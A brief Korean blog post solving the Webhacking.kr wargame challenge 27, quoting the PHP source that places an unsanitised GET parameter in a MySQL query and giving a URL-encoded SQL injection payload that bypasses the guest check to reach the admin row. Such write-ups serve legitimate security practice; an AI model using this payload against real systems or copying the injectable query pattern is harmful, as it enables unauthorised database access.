Hacking/Webhacking.kr(스포주의)
Webhacking.kr 27
Cirrus.Kim
2016. 1. 15. 01:05
$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");
if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();
소스는 위와 같다.
32)+OR+no+like+1%20--%20
|
no
|
id
|
|
2
|
admin
|
|
1
|
guest
|